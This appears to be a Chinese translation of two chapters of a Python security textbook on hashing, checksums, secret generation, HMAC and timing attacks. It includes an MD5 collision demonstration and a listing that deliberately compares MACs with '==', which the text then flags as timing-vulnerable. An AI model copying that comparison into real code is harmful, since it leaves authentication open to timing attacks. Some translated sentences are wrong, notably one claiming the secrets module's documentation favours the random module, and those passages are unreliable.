我在这本书中使用五个原型角色来说明安全概念(见图 2.3)。相信我,这些角色使阅读(和写作)这本书变得更容易。这本书中的解决方案围绕爱丽丝和鲍勃面临的问题展开。如果你读过其他安全书籍,你可能已经遇到过这两个角色。爱丽丝和鲍勃就像你一样——他们希望安全地创建和共享信息。偶尔,他们的朋友查理也会出现。这本书中每个示例的数据往往在爱丽丝、鲍勃和查理之间流动;记住 A、B 和 C。爱丽丝、鲍勃和查理是好角色。在阅读本书时,可以随意与这些角色产生共鸣。

CH02_F03_Byrne

图 2.3 带光环的原型角色是好的;攻击者被指定为有角的。

伊芙和玛洛丽是坏角色。记住伊芙是邪恶的。记住玛洛丽是恶意的。这些角色通过试图窃取或修改他们的数据和身份来攻击爱丽丝和鲍勃。伊芙是被动攻击者;她是窃听者。她倾向于向攻击面的网络部分靠拢。玛洛丽是主动攻击者;她更加复杂。她倾向于使用系统或用户作为入口点。

记住这些角色;你会再次见到它们。爱丽丝、鲍勃和查理有光环;伊芙和玛洛丽有角。在下一节中,爱丽丝将使用哈希来确保数据完整性。

2.3 数据完整性

数据 完整性,有时被称为消息完整性,是确保数据没有意外修改的保证。它回答了这个问题,“数据是否改变了?”假设爱丽丝在一个文档管理系统上工作。目前,该系统存储每个文档的两份副本以确保数据完整性。为了验证文档的完整性,系统逐字节比较这两份副本。如果副本不匹配,文档被视为损坏。爱丽丝对系统消耗的存储空间感到不满。成本已经失控,随着系统容纳更多文档,问题变得更加严重。

爱丽丝意识到她有一个常见的问题,并决定用一个常见的解决方案来解决它,即一个加密散列函数。当每个文档被创建时,系统会计算并存储它的散列值。为了验证每个文档的完整性,系统首先重新计算其散列值。然后将新的散列值与存储中的旧散列值进行比较。如果散列值不匹配,则认为文档已损坏。

图 2.4 用四个步骤说明了这个过程。一个拼图图案描述了两个散列值的比较。

CH02_F04_Byrne

图 2.4 爱丽丝通过比较散列值而不是文档来确保数据完整性。

你能看出碰撞抵抗为什么很重要吗?假设爱丽丝使用的散列函数缺乏碰撞抵抗性。如果原始文件版本与损坏版本发生碰撞,系统就无法绝对地检测到数据损坏。

这一部分展示了散列的一个重要应用:数据完整性。在下一节中,你将学习如何选择一个适合做这件事的实际散列函数。

2.4 选择加密散列函数

Python 原生支持加密散列。无需第三方框架或库。Python 自带一个 hashlib 模块,提供了大多数程序员需要的加密散列的一切。algorithms_guaranteed 集合包含了保证在所有平台上可用的每个散列函数。这个集合中的散列函数代表了你的选择。很少有 Python 程序员会需要或者甚至看到这个集合之外的散列函数:

>>> import hashlib
>>> sorted(hashlib.algorithms_guaranteed)
['blake2b', 'blake2s', 'md5', 'sha1', 'sha224', 'sha256', 'sha384', 
'sha3_224', 'sha3_256', 'sha3_384', 'sha3_512', 'sha512', 'shake_128',
 'shake_256']

面对如此多的选择,感到不知所措是很自然的。在选择散列函数之前,我们必须将选项划分为安全和不安全的选项。

2.4.1 哪些散列函数是安全的?

algorithms_guaranteed 的安全和可靠的散列函数属于以下散列算法族:

  • SHA-2

  • SHA-3

  • BLAKE2

SHA-2

SHA-2 散列函数族于 2001 年由 NSA 发布。该族由 SHA-224、SHA-256、SHA-384 和 SHA-512 组成。SHA-256 和 SHA-512 是该族的核心。不必费心记住所有四个函数的名称;现在只需关注 SHA-256 即可。在本书中你会经常看到它。

你应该用 SHA-256 进行通用加密散列。这是一个很容易的决定,因为我们所使用的每个系统都已经在使用它。我们部署应用程序所依赖的操作系统和网络协议都依赖于 SHA-256,所以我们别无选择。你必须非常努力才能不使用 SHA-256。它安全、可靠、受到良好支持,并且被广泛使用。

SHA-2 家族中每个函数的名称方便地自述其哈希值长度。哈希函数通常根据其哈希值的长度进行分类、评判和命名。例如,SHA-256 是一个产生——你猜对了——长度为 256 位的哈希值的哈希函数。较长的哈希值更有可能是唯一的,更不容易发生碰撞。越长越好。

SHA-3

SHA-3哈希函数家族由 SHA3-224、SHA3-256、SHA3-384、SHA3-512、SHAKE128 和 SHAKE256 组成。SHA-3 是安全的、可靠的,并被许多人认为是 SHA-2 的自然继任者。不幸的是,在撰写本文时,SHA-3 的采用尚未获得动力。如果您在高安全环境中工作,应考虑使用 SHA3-256 等 SHA-3 函数。只需注意,您可能无法找到与 SHA-2 存在的相同支持水平。

BLAKE2

BLAKE2不像 SHA-2 或 SHA-3 那样受欢迎,但有一个很大的优势:BLAKE2 利用现代 CPU 架构以极快的速度进行哈希。因此,如果您需要对大量数据进行哈希,应考虑使用 BLAKE2。BLAKE2 有两种版本:BLAKE2b 和 BLAKE2s。BLAKE2b 针对 64 位平台进行了优化。BLAKE2s 针对 8 到 32 位平台进行了优化。

现在您已经学会了如何识别和选择安全的哈希函数,您准备好学习如何识别和避免不安全的哈希函数了。

2.4.2 哪些哈希函数是不安全的?

algorithms_guaranteed中的哈希函数是流行的跨平台的。这并不意味着它们每一个都是密码学安全的。Python 中保留了不安全的哈希函数,以保持向后兼容性。了解这些函数是值得的,因为您可能会在传统系统中遇到它们。algorithms_guaranteed的不安全哈希函数如下:

  • MD5

  • SHA-1

MD5

MD5是在上世纪 90 年代初开发的过时的 128 位哈希函数。这是有史以来最常用的哈希函数之一。不幸的是,尽管研究人员早在 2004 年就展示了 MD5 碰撞,但 MD5 仍在使用中。今天,密码分析师可以在不到一个小时的时间内在商品硬件上生成 MD5 碰撞。

SHA-1

SHA-1是由 NSA 在上世纪 90 年代中期开发的过时的 160 位哈希函数。像 MD5 一样,这个哈希函数曾经很受欢迎,但现在不再被认为是安全的。SHA-1 的第一个碰撞是在 2017 年由 Google 和荷兰研究机构 Centrum Wiskunde & Informatica 的合作努力宣布的。在理论上,这一努力剥夺了 SHA-1 的强碰撞抵抗力,而不是弱碰撞抵抗力。

许多程序员熟悉 SHA-1,因为它用于验证版本控制系统(如 Git 和 Mercurial)中的数据完整性。这两个工具都使用 SHA-1 哈希值来标识并确保每个提交的完整性。Git 的创建者 Linus Torvalds 在 2007 年的 Google Tech Talk 中说:“就 Git 而言,SHA-1 甚至不是一个安全功能。它纯粹是一种一致性检查。”

警告:在创建新系统时,不应将 MD5 或 SHA-1 用于安全目的。任何使用这两个函数用于安全目的的遗留系统都应重构为安全替代方案。这两个函数都很流行,但 SHA-256 是流行且安全的。它们都很快,但 BLAKE2 更快更安全。

下面是选择哈希函数时的 dos 和 don'ts 摘要:

  • 用于一般目的的加密哈希,请使用 SHA-256。

  • 在高安全环境中,请使用 SHA3-256,但预期的支持会比 SHA-256 较少。

  • 请使用 BLAKE2 对大消息进行哈希处理。

  • 永远不要将 MD5 或 SHA1 用于安全目的。

现在您已经学会如何选择安全的加密哈希函数了,让我们在 Python 中应用这个选择。

2.5 Python 中的加密哈希处理

hashlib 模块提供了每个哈希函数的命名构造函数,在 hashlib.algorithms_guaranteed 中。或者,每个哈希函数都可以通过通用构造函数 new 动态访问。该构造函数接受 algorithms_guaranteed 中的任何字符串。命名构造函数比通用构造函数更快,更受欢迎。下面的代码演示了如何使用这两种构造函数类型构造 SHA-256 的实例:

import hashlib

named = hashlib.sha256()           # ❶
generic = hashlib.new('sha256')    # ❷

❶ 命名构造函数

❷ 通用构造函数

可以使用或不使用消息初始化哈希函数实例。下面的代码初始化了一个带有消息的 SHA-256 函数。与内置的 hash 函数不同,hashlib 中的哈希函数要求消息的类型为字节:

>>> from hashlib import sha256
>>> 
>>> message = b'message'
>>> hash_function = sha256(message)

无论如何创建,每个哈希函数实例都有相同的 API。对于 SHA-256 实例的公共方法类似于对于 MD5 实例的公共方法。digesthexdigest 方法分别返回哈希值作为字节和十六进制文本:

>>> hash_function.digest()        # ❶
b'\xabS\n\x13\xe4Y\x14\x98+y\xf9\xb7\xe3\xfb\xa9\x94\xcf\xd1\xf3\xfb"\xf7\x
1c\xea\x1a\xfb\xf0+F\x0cm\x1d'
>>> 
>>> hash_function.hexdigest()     # ❷
'ab530a13e45914982b79f9b7e3fba994cfd1f3fb22f71cea1afbf02b460c6d1d'

❶ 返回哈希值作为字节

❷ 返回哈希值字符串

以下代码使用 digest 方法演示了一个 MD5 碰撞。这两条消息只有少数不同的字符(加粗显示):

>>> from hashlib import md5
>>> 
>>> x = bytearray.fromhex(
...    
'd131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609
f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6da
cd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1e
c69821bcb6a8839396f9652b6ff72a70')
>>> 
>>> y = bytearray.fromhex(
...     
'd131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609
f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6da
cd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1e
c69821bcb6a8839396f965ab6ff72a70')
>>> 
>>> x == y                               # ❶
False                                    # ❶
>>> 
>>> md5(x).digest() == md5(y).digest()   # ❷
True                                     # ❷

❶ 不同的消息

❷ 相同的哈希值,碰撞

消息也可以使用 update 方法进行哈希处理,如下面的代码中所示。当需要单独创建和使用哈希函数时,这很有用。哈希值不受消息如何馈送到函数的影响:

>>> message = b'message'
>>> 
>>> hash_function = hashlib.sha256()                             # ❶
>>> hash_function.update(message)                                # ❷
>>> 
>>> hash_function.digest() == hashlib.sha256(message).digest()   # ❸
True                                                             # ❸

❶ 构造的哈希函数没有消息

❷ 使用 update 方法传递的消息

❸ 相同的哈希值

一条消息可以被分成多个块,并通过多次调用 update 方法进行迭代哈希处理,如下面代码中加粗显示的部分所示。每次调用 update 方法都会更新哈希值,而不会复制或存储消息字节的引用。因此,当无法一次性将大消息加载到内存中时,此功能非常有用。哈希值对消息处理方式不敏感。

>>> from hashlib import sha256
>>> 
>>> once = sha256()
>>> once.update(b'message')            # ❶
>>> 
>>> many = sha256()
>>> many.update(b'm')                  # ❷
>>> many.update(b'e') # ❷
>>> many.update(b's') # ❷
>>> many.update(b's') # ❷
>>> many.update(b'a') # ❷
>>> many.update(b'g')                  # ❷
>>> many.update(b'e')                  # ❷
>>> 
>>> once.digest() == many.digest()     # ❸
True

❶ 使用消息初始化哈希函数

❷ 将消息分块给哈希函数

❸ 相同的哈希值

digest_size 属性以字节为单位公开哈希值的长度。回想一下,SHA-256,正如其名称所示,是一个 256 位的哈希函数:

>>> hash_function = hashlib.sha256(b'message')
>>> hash_function.digest_size
32
>>> len(hash_function.digest()) * 8
256

加密哈希函数在定义上是普遍确定性的。它们天然跨平台。本章示例中的输入在任何计算机、任何编程语言和任何 API 上都会产生相同的输出。以下两个命令演示了这一保证,使用 Python 和 Ruby。如果同一加密哈希函数的两个实现产生不同的哈希值,那么至少其中一个是有问题的:

$ python -c 'import hashlib; print(hashlib.sha256(b"m").hexdigest())'
62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a

$ ruby -e 'require "digest"; puts Digest::SHA256.hexdigest "m"'
62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a

另一方面,内置的 hash 函数默认情况下仅在特定的 Python 进程内是确定性的。以下两个命令演示了两个不同的 Python 进程对相同消息进行哈希处理得到不同的哈希值:

$ python -c 'print(hash("message"))'
8865927434942197212
$ python -c 'print(hash("message"))'    # ❶
3834503375419022338                     # ❷

❶ 相同的消息

❷ 不同的哈希值

警告:内置的 hash 函数绝对不应用于加密目的。这个函数非常快,但它没有足够的碰撞抵抗力,无法与 SHA-256 相提并论。

你可能会想到,“哈希值不就是校验和吗?” 答案是否定的。下一节将解释为什么不是。

2.6 校验和函数

哈希函数和校验和函数有一些共同点。哈希函数接受数据并生成哈希值;校验和函数接受数据并生成校验和。哈希值和校验和都是数字。这些数字用于检测不希望的数据修改,通常在数据静止或传输过程中。

Python 本身支持校验和函数,如循环冗余校验(CRC)和 Adler-32 在 zlib 模块中。以下代码演示了 CRC 的一个常见用例。该代码压缩和解压一个重复数据块。在此转换之前和之后计算数据的校验和(加粗显示)。最后,通过比较校验和来执行错误检测:

>>> import zlib
>>> 
>>> message = b'this is repetitious' * 42         # ❶
>>> checksum = zlib.crc32(message)                # ❶
>>> 
>>> compressed = zlib.compress(message)           # ❷
>>> decompressed = zlib.decompress(compressed)    # ❷
>>> 
>>> zlib.crc32(decompressed) == checksum          # ❸
True                                              # ❸

❶ 对消息进行校验和

❷ 压缩和解压消息

❸ 通过比较校验和未检测到任何错误

尽管它们相似,但哈希函数和校验函数不应混淆。哈希函数和校验函数之间的权衡是在于加密强度与速度之间的权衡。换句话说,加密哈希函数具有更强的碰撞抵抗力,而校验函数更快。例如,CRC 和 Adler-32 比 SHA-256 快得多,但都不具有足够的碰撞抵抗力。以下两行代码演示了无数 CRC 碰撞之一:

>>> zlib.crc32(b'gnu')
1774765869
>>> zlib.crc32(b'codding')
1774765869

如果您能够像这样使用 SHA-256 找到碰撞,那将在网络安全领域引发震动。将校验函数与数据完整性联系起来有点牵强。更准确地说,应该用错误检测来描述校验函数,而不是数据完整性。

警告:校验函数不应用于安全目的。可以使用加密哈希函数代替校验函数,但会付出相当大的性能代价。

在本节中,您学习了在加密哈希中使用 hashlib 模块,而不是 zlib 模块。下一章将继续介绍哈希。您将学习如何使用 hmac 模块进行键控哈希,这是一种常见的数据认证解决方案。

总结

  • 哈希函数将消息确定性地映射到固定长度的哈希值。

  • 您使用加密哈希函数来确保数据完整性。

  • 通常应使用 SHA-256 进行通用加密哈希。

  • 使用 MD5 或 SHA1 进行安全目的的代码存在漏洞。

  • 在 Python 中,您可以使用 hashlib 模块进行加密哈希。

  • 校验函数不适用于加密哈希。

  • 爱丽丝(Alice)、鲍勃(Bob)和查理(Charlie)是好人。

  • 伊夫(Eve)和玛洛丽(Mallory)是坏人。

第三章:密钥生成

本章涵盖

  • 生成安全密钥

  • 使用键控哈希验证数据身份验证

  • 使用hmac模块进行加密哈希

  • 防止时序攻击

在上一章中,您学习了如何使用哈希函数确保数据的完整性。 在本章中,您将学习如何使用键控哈希函数确保数据的身份验证。 我将向您展示如何安全地生成随机数和口令。 在此过程中,您将了解有关ossecretsrandomhmac模块的知识。 最后,您将学习如何通过比较长度恒定的时间中的哈希值来抵抗时序攻击。

数据身份验证

让我们重新审视上一章中爱丽丝的文件管理系统。 系统在存储每个新文档之前对其进行哈希处理。 要验证文档的完整性,系统会重新对其进行哈希处理,并将新的哈希值与旧的哈希值进行比较。 如果哈希值不匹配,则文档被视为损坏。 如果哈希值匹配,则文档被视为完整。

爱丽丝的系统有效地检测到了意外数据损坏,但并不完美。 网络攻击者玛洛瑞可能会利用爱丽丝。 假设玛洛瑞获得了对爱丽丝文件系统的写入访问权限。 在这个位置,她不仅可以更改文档,还可以将其哈希值替换为更改后的文档的哈希值。 通过替换哈希值,玛洛瑞阻止了爱丽丝检测到文档已被篡改。 因此,爱丽丝的解决方案只能检测意外消息损坏; 它无法检测到有意的消息修改。

如果爱丽丝想要抵抗玛洛瑞,她需要改变系统以验证每个文档的完整性和来源。 系统不能只回答“数据是否改变?”的问题。 系统还必须回答“谁创作了这个数据?” 换句话说,系统需要确保数据的完整性和数据的身份验证。

数据身份验证,有时也称为消息身份验证,确保数据读取者可以验证数据写入者的身份。 此功能需要两个东西:一个密钥和一个键控哈希函数。 在接下来的几节中,我将介绍密钥生成和键控哈希; 爱丽丝将这些工具结合起来以抵抗玛洛瑞。

键控哈希

如果要保持秘密,每个密钥都应该难以猜测。 在本节中,我比较和对比了两种类型的密钥:随机数和口令。 您将学习如何生成这两种密钥,以及何时使用其中一种。

随机数

在生成随机数时无需使用第三方库;Python 本身有很多方法可以实现这一点。然而,其中只有一些方法适用于安全目的。Python 程序员传统上使用os.urandom函数作为密码安全的随机数源。此函数接受一个整数size并返回size个随机字节。这些字节来自操作系统。在类 UNIX 系统上,这是/dev/urandom;在 Windows 系统上,这是CryptGenRandom

>>> import os
>>> 
>>> os.urandom(16)
b'\x07;`\xa3\xd1=wI\x95\xf2\x08\xde\x19\xd9\x94^'

Python 3.6 引入了一个专门用于生成密码安全随机数的显式高级 API,即secrets模块。os.urandom没有问题,但在本书中,我使用secrets模块来生成所有随机数。该模块具有三个方便的用于生成随机数的函数。所有三个函数都接受一个整数并返回一个随机数。随机数可以表示为字节数组、十六进制文本和 URL 安全文本。所有三个函数名称的前缀如下代码所示,为token_

>>> from secrets import token_bytes, token_hex, token_urlsafe
>>> 
>>> token_bytes(16)                                     # ❶
b'\x1d\x7f\x12\xadsu\x8a\x95[\xe6\x1b|\xc0\xaeM\x91'    # ❶
>>> 
>>> token_hex(16)                                       # ❷
'87983b1f3dcc18080f21dc0fd97a65b3'                      # ❷
>>> 
>>> token_urlsafe(16)                                   # ❸
'Z_HIRhlJBMPh0GYRcbICIg'                                # ❸

❶ 生成 16 个随机字节

❷ 生成 16 个十六进制文本的随机字节

❸ 生成 16 个 URL 安全文本的随机字节

在计算机上键入以下命令以生成 16 个随机字节。我愿意打赌你得到的数字与我不同:

$ python -c 'import secrets; print(secrets.token_hex(16))'
3d2486d1073fa1dcfde4b3df7989da55

第三种获取随机数的方法是使用random模块。该模块中的大多数函数不使用安全的随机数源。此模块的文档明确指出“不应用于安全目的”(docs .python.org/3/library/random.html)。secrets模块的文档断言“应该优先使用random模块中的默认伪随机数生成器”(docs.python.org/3/library/secrets.html)。

警告:永远不要将random模块用于安全或加密目的。该模块非常适用于统计学,但不适合安全或加密。

密码短语

密码短语是一系列随机单词,而不是一系列随机数字。列表 3.1 使用secrets模块从字典文件中随机选择的四个单词生成密码短语。

脚本首先将字典文件加载到内存中。该文件随标准类 UNIX 系统一起发货。其他操作系统的用户从网上下载类似的文件也不成问题(www.karamasoft.com/UltimateSpell/Dictionary.aspx)。脚本使用secrets .choice函数从字典中随机选择单词。此函数从给定序列返回一个随机项。

列表 3.1 生成一个四个单词的密码短语

from pathlib import Path
import secrets

words = Path('/usr/share/dict/words').read_text().splitlines()    # ❶

passphrase = ' '.join(secrets.choice(words) for i in range(4))    # ❷

print(passphrase)

❶ 将字典文件加载到内存中

❷ 随机选择四个单词

像这样的字典文件是攻击者执行暴力攻击时使用的工具之一。因此,从相同来源构建秘密是非直观的。密码短语的力量在于大小。例如,密码短语whereat isostatic custom insupportableness的长度为 42 字节。根据www.useapassphrase.com的说法,这个密码短语的破解时间约为 163,274,072,817,384 世纪。对这么长的密钥进行暴力攻击是不可行的。密钥大小很重要。

一个随机数和一个密码短语自然满足秘密的最基本要求:两种密钥类型都难以猜测。随机数和密码短语之间的区别归结为长期人类记忆的局限性。

提示 随机数很难记住,而密码短语很容易记住。这种差异决定了每种密钥类型适用于哪些情景。

当一个人不需要或不应该记住一个秘密超过几分钟时,随机数是有用的。多因素认证(MFA)令牌和临时重置密码值都是随机数的良好应用场景。还记得secrets.token_bytessecrets.token_hexsecrets .token_urlsafe吗?这个前缀是对这些函数应该用于什么的提示。

当一个人需要长时间记住一个秘密时,密码短语是有用的。网站的登录凭据或安全外壳(SSH)会话都是密码短语的良好应用场景。不幸的是,大多数互联网用户并没有使用密码短语。大多数公共网站不鼓励使用密码短语。

重要的是要理解,随机数和密码短语不仅在正确应用时解决问题;当它们被错误应用时,它们会产生新问题。想象一下以下两种情况,一个人必须记住一个随机数。首先,随机数被遗忘了,它所保护的信息变得无法访问。其次,随机数被手写到系统管理员桌上的一张纸上,这样它就不太可能保密了。

想象一下以下情景,在这种情景中,密码短语用于短期秘密。假设您收到一个包含密码重置链接或密码重置代码的密码短语。如果一个恶意旁观者看到它在您的屏幕上,他们更有可能记住这个密钥吗?作为密码短语,这个密钥不太可能保密。

注意 为了简单起见,本书中的许多示例都是在 Python 源代码中显示的密钥。然而,在生产系统中,每个密钥都应该安全地存储在密钥管理服务中,而不是您的代码库中。亚马逊的 AWS 密钥管理服务(aws.amazon.com/kms/)和谷歌的云密钥管理服务(cloud.google.com/security-key-management)都是良好的密钥管理服务的示例。

你现在知道如何安全地生成一个密钥。你知道何时使用随机数,何时使用密码。这两种技能与本书的许多部分相关,从下一节开始。

3.1.2 带密钥的哈希

一些哈希函数接受一个可选的密钥。如图 3.1 所示,密钥是哈希函数的一个输入,就像消息一样。与普通哈希函数一样,带密钥哈希函数的输出是一个哈希值。

CH03_F01_Byrne

图 3.1 带密钥哈希函数除消息外还接受一个密钥。

哈希值对密钥值敏感。使用不同密钥的哈希函数会产生相同消息的不同哈希值。使用相同密钥的哈希函数会产生相同消息的匹配哈希值。下面的代码演示了带 BLAKE2 的带密钥哈希,BLAKE2 是一种可选密钥的哈希函数:

>>> from hashlib import blake2b
>>> 
>>> m = b'same message'
>>> x = b'key x'                                               # ❶
>>> y = b'key y'                                               # ❷
>>> 
>>> blake2b(m, key=x).digest() == blake2b(m, key=x).digest()   # ❸
True                                                           # ❸
>>> blake2b(m, key=x).digest() == blake2b(m, key=y).digest()   # ❹
False                                                          # ❹

❶ 第一个密钥

❷ 第二密钥

❸ 相同密钥,相同哈希值

❹ 不同密钥,不同哈希值

Alice 在她的文档管理系统上工作,可以通过带密钥的哈希添加一层对抗 Mallory 的防御。带密钥的哈希允许 Alice 使用只有她能产生的哈希值存储每个文档。Mallory 不能再擅自修改文档并重新计算哈希值了。没有密钥,Mallory 在验证修改后的文档时无法产生与 Alice 相同的哈希值。因此,Alice 的代码,如下所示,可以抵抗意外数据损坏和恶意数据修改。

列表 3.2 Alice 抵抗意外和恶意数据修改

import hashlib
from pathlib import Path

def store(path, data, key):
    data_path = Path(path)
    hash_path = data_path.with_suffix('.hash')

    hash_value = hashlib.blake2b(data, key=key).hexdigest()     # ❶

    with data_path.open(mode='x'), hash_path.open(mode='x'):    # ❷
        data_path.write_bytes(data)                             # ❷
        hash_path.write_text(hash_value)                        # ❷

def is_modified(path, key):
    data_path = Path(path)
    hash_path = data_path.with_suffix('.hash')

    data = data_path.read_bytes()                               # ❸
    original_hash_value = hash_path.read_text()                 # ❸

    hash_value = hashlib.blake2b(data, key=key).hexdigest()     # ❹

    return original_hash_value != hash_value                    # ❺

❶ 使用给定的密钥对文档进行哈希

❷ 将文档和哈希值写入单独的文件

❸ 从存储中读取文档和哈希值

❹ 使用给定的密钥重新计算新的哈希值

❺ 将重新计算的哈希值与从磁盘读取的哈希值进行比较

大多数哈希函数都不是带密钥的哈希函数。普通哈希函数,如 SHA-256,并不原生支持像 BLAKE2 那样的密钥。这启发了一群非常聪明的人来开发基于哈希的消息认证码(HMAC)函数。下一节将探讨 HMAC 函数。

3.2 HMAC 函数

HMAC 函数 是一种通用方法,可以像使用带密钥的哈希函数一样使用任何普通哈希函数。HMAC 函数接受三个输入:消息、密钥和一个普通的密码哈希函数(图 3.2)。没错,你没看错:HMAC 函数的第三个输入是另一个函数。HMAC 函数将所有繁重的工作都包装并委托给传递给它的函数。HMAC 函数的输出是——你猜对了——基于哈希的消息认证码(MAC)。MAC 实际上只是一种特殊类型的哈希值。为了简单起见,在本书中,我使用 哈希值 一词来代替 MAC

CH03_F02_Byrne

图 3.2 HMAC 函数接受三个输入:消息、密钥和哈希函数。

为自己着想,务必将 HMAC 函数牢记于心。HMAC 函数是本书后面提出的许多挑战的解决方案。当我讨论加密、会话管理、用户注册和密码重置流程时,这个主题将再次出现。

Python 对 HMAC 的回答是hmac模块。以下代码使用消息、密钥和 SHA-256 初始化了一个 HMAC 函数。通过将密钥和哈希函数构造函数引用传递给hmac.new函数来初始化 HMAC 函数。digestmod关键字参数指定了底层哈希函数。hashlib模块中对哈希函数构造函数的任何引用都是digestmod的可接受参数:

>>> import hashlib
>>> import hmac
>>> 
>>> hmac_sha256 = hmac.new(
...     b'key', msg=b'message', digestmod=hashlib.sha256)

警告 digestmod kwarg 在 Python 3.8 发布时从可选变为必需。您应始终明确指定digestmod kwarg,以确保您的代码在不同版本的 Python 上顺利运行。

新的 HMAC 函数实例反映了它包装的哈希函数实例的行为。这里显示的digesthexdigest方法,以及digest_size属性,现在应该看起来很熟悉:

>>> hmac_sha256.digest()                                             # ❶
b"n\x9e\xf2\x9bu\xff\xfcz\xba\xe5'\xd5\x8f\xda\xdb/\xe4.r\x19\x01\x19v\x91
sC\x06_X\xedJ"
>>> hmac_sha256.hexdigest()                                          # ❷
'6e9ef29b75fffc5b7abae527d58fdadb2fe42e7219011976917343065f58ed4a'
>>> hmac_sha256.digest_size                                          # ❸
32

❶ 以字节形式返回哈希值

❷ 以十六进制文本返回哈希值

❸ 返回哈希值大小

HMAC 函数的名称是基础哈希函数的衍生物。例如,您可以将包装 SHA-256 的 HMAC 函数称为 HMAC-SHA256:

>>> hmac_sha256.name
'hmac-sha256'

按设计,HMAC 函数通常用于消息认证。HMACMA字面上代表消息认证。有时,就像 Alice 的文档管理系统一样,消息的读者和消息的编写者是同一个实体。其他时候,读者和编写者是不同的实体。下一节将涵盖这种用例。

3.2.1 各方之间的数据认证

想象一下,Alice 的文档管理系统现在必须从 Bob 那里接收文档。Alice 必须确保每条消息在传输过程中没有被 Mallory 修改。Alice 和 Bob 就协议达成一致:

  1. Alice 和 Bob 共享一个秘密密钥。

  2. Bob 使用他的密钥副本和 HMAC 函数对文档进行哈希处理。

  3. Bob 将文档和哈希值发送给 Alice。

  4. Alice 使用她的密钥副本和 HMAC 函数对文档进行哈希处理。

  5. Alice 将她的哈希值与 Bob 的哈希值进行比较。

图 3.3 说明了这个协议。如果接收到的哈希值与重新计算的哈希值匹配,Alice 可以得出两个结论:

  • 消息是由具有相同密钥的人发送的,据推测是 Bob。

  • Mallory 无法在传输过程中修改消息。

![CH03_F03_Byrne

图 3.3 Alice 使用共享密钥和 HMAC 函数验证 Bob 的身份。

Bob 在发送给 Alice 之前使用 HMAC-SHA256 对他的消息进行哈希处理的协议的实现,如下列表所示。

列表 3.3 Bob 在发送消息之前使用 HMAC 函数

import hashlib
import hmac
import json

hmac_sha256 = hmac.new(b'shared_key', digestmod=hashlib.sha256)   # ❶
message = b'from Bob to Alice'                                    # ❶
hmac_sha256.update(message)                                       # ❶
hash_value = hmac_sha256.hexdigest()                              # ❶

authenticated_msg = {                                             # ❷
   'message': list(message),                                      # ❷
   'hash_value': hash_value, }                                    # ❷
outbound_msg_to_alice = json.dumps(authenticated_msg)             # ❷

❶ Bob 对文档进行哈希处理。

❷ 哈希值随文档一起传输

Alice 的协议实现,下图所示,使用 HMAC-SHA256 对接收到的文档进行哈希处理。如果两个 MAC 值相同,则消息被视为经过身份验证。

列表 3.4 Alice 在接收到 Bob 的消息后使用 HMAC 函数。

import hashlib
import hmac
import json

authenticated_msg = json.loads(inbound_msg_from_bob)
message = bytes(authenticated_msg['message'])

hmac_sha256 = hmac.new(b'shared_key', digestmod=hashlib.sha256)    # ❶
hmac_sha256.update(message)                                        # ❶
hash_value = hmac_sha256.hexdigest()                               # ❶

if hash_value == authenticated_msg['hash_value']:                  # ❷
    print('trust message')
    ...

❶ Alice 计算自己的哈希值。

❷ Alice 比较两个哈希值。

作为一个中间人,Mallory 无法欺骗 Alice 接受已经修改的消息。由于无法获取 Alice 和 Bob 共享的密钥,Mallory 无法为给定消息生成与他们相同的哈希值。如果 Mallory 在传输过程中修改了消息或哈希值,Alice 收到的哈希值将与 Alice 计算的哈希值不同。

看一下列表 3.4 中代码的最后几行。注意 Alice 使用 == 运算符来比较哈希值。这个运算符,信不信由你,使 Alice 在另一个全新的方式上容易受到 Mallory 的攻击。接下来的部分将解释攻击者如何像 Mallory 发动时间攻击。

3.3 时间攻击

数据完整性和数据验证都归结为哈希值比较。虽然比较两个字符串可能看起来很简单,但实际上有一种不安全的方法。== 运算符一旦发现两个操作数之间的第一个差异,就会求值为 False。平均而言,== 必须扫描并比较所有哈希值字符的一半。至少,它可能只需要比较每个哈希值的第一个字符。最多,当两个字符串匹配时,它可能需要比较两个哈希值的所有字符。更重要的是,如果两个哈希值共享一个公共前缀,== 将花费更长的时间来比较两个哈希值。你能发现这个漏洞吗?

Mallory 通过创建一个她希望 Alice 接受的文档来开始新的攻击,使其看起来像是来自 Bob。没有密钥,Mallory 不能立即确定 Alice 将对文档进行哈希的哈希值,但她知道哈希值将是 64 个字符长。她还知道哈希值是十六进制文本,因此每个字符有 16 个可能的值。

攻击的下一步是确定或破解 64 个哈希值字符中的第一个。对于该字符可以是的所有 16 个可能值,Mallory 制造一个以该值开头的哈希值。对于每个制造的哈希值,Mallory 将其与恶意文档一起发送给 Alice。她重复这个过程,测量并记录响应时间。经过大量响应后,Mallory 最终能够通过观察与每个十六进制值相关联的平均响应时间来确定 64 个哈希值字符的第一个。匹配的十六进制值的平均响应时间将略高于其他值。图 3.4 描述了 Mallory 如何破解第一个字符。

CH03_F04_Byrne

图 3.4 Mallory 在观察到 b 的略高平均响应时间后破解哈希值的第一个字符。

Mallory 通过重复这个过程来完成攻击,对剩下的 63 个字符中的 64 个字符进行操作,此时她就知道了整个哈希值。这是一个 时序攻击 的例子。这种攻击是通过从系统执行时间中获取未经授权的信息来执行的。攻击者通过测量系统执行操作所需的时间来获得关于私有信息的提示。在这个例子中,操作是字符串比较。

安全系统在比较哈希值时使用长度恒定的时间,故意牺牲了一小部分性能,以防止时序攻击漏洞。hmac 模块包含一个名为 compare_digest 的长度恒定时间比较函数。此函数具有与 == 操作符相同的功能结果,但时间复杂度不同。compare_digest 函数在检测到两个哈希值之间有差异时不会提前返回。它总是在返回之前比较所有字符。平均情况、最快情况和最慢情况都是相同的。这可以防止时序攻击,攻击者可以确定一个哈希值的值,如果他们可以控制另一个哈希值:

>>> from hmac import compare_digest
>>> 
>>> compare_digest('alice', 'mallory')    # ❶
False                                     # ❶
>>> compare_digest('alice', 'alice')      # ❷
True                                      # ❷

❶ 不同的参数,相同的运行时间

❷ 相同的参数,相同的运行时间

